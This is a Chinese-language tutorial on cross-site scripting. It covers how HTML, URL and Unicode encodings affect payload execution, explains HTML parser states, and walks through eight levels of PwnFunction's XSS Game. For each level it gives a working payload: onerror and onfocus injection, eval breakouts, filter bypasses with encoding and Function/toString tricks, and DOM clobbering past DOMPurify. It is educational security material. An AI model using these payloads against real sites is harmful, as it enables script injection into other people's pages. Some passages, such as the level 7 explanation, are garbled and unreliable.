目录
1.XSS向量编码
2.xss靶场训练(easy)
2.1第一关
2.2第二关
方法一
方法二
2.3第三关
2.4第四关
2.5第五关
2.6第六关
2.7第七关
第一种方法:
第二种方法:
第三个方法:
2.8第八关
1.XSS向量编码
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="author" content="system"><meta name="keywords" content="whoami"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title><script>alert(1)</script></title></head><body><a href="javascript:alert(1)">aa</a><a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a> -----不能解码---因为这一长串是urlcode编码,在href是识别不了的<a href="javascript:%61%6c%65%72%74%28%32%29">aaaa</a>-----可以解码,这一长串先会HTML实体编码成javascript:alert(1),让href认识,然后在urlcode编码<!-- html编码不认识%3a --><a href="javascript%3aalert(3)">bbbbb</a> <!-- 相当于<img src="1"onerror="alert(4)"> <=< --><div><img src=x onerror=alert(4)></div><!-- HTML会把它当作普通字符串,可以显示,但是无法执行 --><textarea><script>alert(5)</script></textarea><textarea><script>alert(6)</script></textarea><!-- 执行 ,实体编码,认单引号--><button onclick="confirm('7');">Button</button><!-- Unicode编码,没有执行,不能编译符号,如等号,单引号,双引号 --><button onclick="confirm('8\u0027);">Button</button><!-- HTML字符实体编码 alert(9); 没有执行,不认识&--><script>alert(9);</script><!-- Unicode 编码 alert,执行 --><script>\u0061\u006c\u0065\u0072\u0074(10);</script><!-- Unicode 编码 alert(11) 执行不了--><script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script><!-- Unicode 编码 alert 和 12,不能执行 --><script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script><!-- 不能执行 --><script>alert('13\u0027)</script>//不能执行<script>alert('14\u000a')</script>// html实体编码,urlcode编码,Unicode编码<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)">ddd</a>
</body>
</html>
1.数据状态中的字符引用
当我们进入数据状态中的字符引用时,确实可以将编码字符进行解码,但是不会进入标签开始的状态在问题4中,“<”和“>”字符被编码为“<”和“>”。当解析器解析完“<div>”并处于“数据状态”时,这两个字符将会被解析。当解析器遇到“&”字符,它会知道这是“数据状态的字符引用”,因此会消耗一个字符引用(例如“<”)并释放出对应字符的token。在这个例子中,对应字符指的是“<”和“>”。读者可能会想:这是不是意味着“<”和“>”的token将会被理解为标签的开始和结束,然后其中的脚本会被执行?答案是脚本并不会被执行。原因是解析器在解析这个字符引用后不会转换到“标签开始状态”。正因为如此,就不会建立新标签。因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”
2.RCDATA状态中的字符引用
1. 空元素(Void elements),如<area>,<br>,<base>等等
2. 原始文本元素(Raw text elements),有<script>和<style>
3. RCDATA元素(RCDATA elements),有<textarea>和<title>
4.外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素 ,avg跟图像有关
5.基本元素(Normal elements),即除了以上4种元素以外的元素
五类元素的区别如下:
空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。
原始文本元素,可以容纳文本。
RCDATA元素,可以容纳文本和字符引用。
外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释
基本元素,可以容纳文本、字符引用、其他元素和注释
3.属性值状态字符引用
2.xss靶场训练(easy)
进入网站:
XSS Game - Learning XSS Made Simple! | Created by PwnFunction
2.1第一关
要求:是显示alert(1337),不能使用用户交互,如a标签,带有点击事件的标签
源码分析
somebody=John,那么这段代码将导致<h2 id="spaghet"></h2>元素的内容更新为John Toucha Ma Spaghet!。
如果URL是http://example.com/(没有somebody查询参数),那么内容将更新为Somebody Toucha Ma Spaghet!。
根据官方文档解释,<script>这个标签并不安全,并不会执行,所以这里使用更为安全的img标签
主要使用的是img触发标签
somebody=<img%20src=1%20οnerrοr="alert(1337)">
图片加载错误时会触发onerror的值,然后把1337显示出来
< 在hmtl中会当作字符串展示在页面上,不会当作标签转义
2.2第二关
源码分析:
从URL的查询参数中获取jeff的值(如果存在),否则使用默认值"JEFFF",然后将这个值嵌入到一个字符串中,并最终将这个字符串。显示在网页上的一个<h2>元素中
innerText元素本身不能渲染,相当于什么标签都不能被执行
方法一
我们可以把关注点放在这句话:
eval(`ma = "Ma name ${jeff}"`)
让eval执行,可以看到就成功了
这里其实就是用的闭合,
相当于执行: eval(`ma="Ma name aaa";alert(1337);""`)
先执行"Ma name aa"的赋值,其次执行:alert(1337);,最后闭合,防止报错
方法二
把输入的全部执行
nan在js中表示非数字类型,
NaN 非数字(not a number)属性是代表非数字值的特殊值。
2.3第三关
过滤了<>
?wey=aaaa"%20οnfοcus=alert(1337)%20autofocus="
如果没有autofocus是需要用户输入,这样属于跟用户交互了,没有满足要求,而添加autofocus是可以让其自动聚焦
2.4第四关
源代码分析:
2秒后会自动提交
在form表单里面的action会出现JavaScript伪协议事件
?ricardo=javascript:alert(1337)
2.5第五关
过滤了括号,反斜杠,转义字符
这里使用了innerHTML,可以还是使用<img src= onerr=">
但是这个题它过滤了括号
这里可以使用url编码去解码成括号
如果直接%28,html无法识别,%2528---转成%28----转成(
?markassbrownlee=<img%20src=1%20οnerrοr=location="javascript:alert%25281337%2529">
2.6第六关
过滤字母数字-------考虑使用编码
js编码
这样就可以绕过使用数字字母,但是这样页面是识别不了了的,还需要url编码,才能被页面解析
然后将编码放在balls
2.7第七关
过滤了转义字符,单引号,双引号,加号,短横杠,感叹号…
同时过滤长度
第一种方法:
js有三种定义函数的方式:
1.function 语句形式
function test1() {
alert("我是test1");
}
2.函数直接量形式
var test2 = function() {
alert("我是test2");
}
3.通过Function构造函数形式定义函数
var test3 = new Function("a", "b", "return a+b;");
第一个字母是大写表示是一个类
这里,可以使用Function()()函数,同时由于还过滤了alert,根据js严格区分大小写的特点,我们可以在路径上输入大写的alert,但是为了能识别出alert,还需要转成小写
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
第二种方法:
使用parselent函数,tostring函数可以二进制转换
注意:这里为什么数字是30,而不是28,29等其他数字,主要是在二进制里,30才能包含字母t
?mafia=eval(8680439..toString(30))(1337)
parseIn将alert转换成二进制8680439,然后 eval对8680439..toString(30)转换为alert
第三个方法:
使用location.hash.slice函数
location.hash获取的是#后面的内容
Slice()截取函数,slice(1),截取从1开始往后的内容,这样就可以不会把#打印出来
?mafia=eval(location.hash.slice(1))#alert(1337)
2.8第八关
想绕过DOMPurify.sanitize函数是不可能的!!!!
观察setTimeout(ok, 2000),每2秒输出ok,但是ok并没有被定义
所以可以创建ok
.map一个一个取
?boomer=<a%20id=ok%20href="tel:alert(1337)">
a标签的href自动替换成字符串,相当于把tel:alert(1337)当作字符串处理,id=ok,可以获取到href标签, 为什么这里不使用JavaScript,是因为在DOMPurify函数里,把JavaScript拉进了黑名单里,因此我们可以所以它里面的白名单函数如tel 替代JavaScript去执行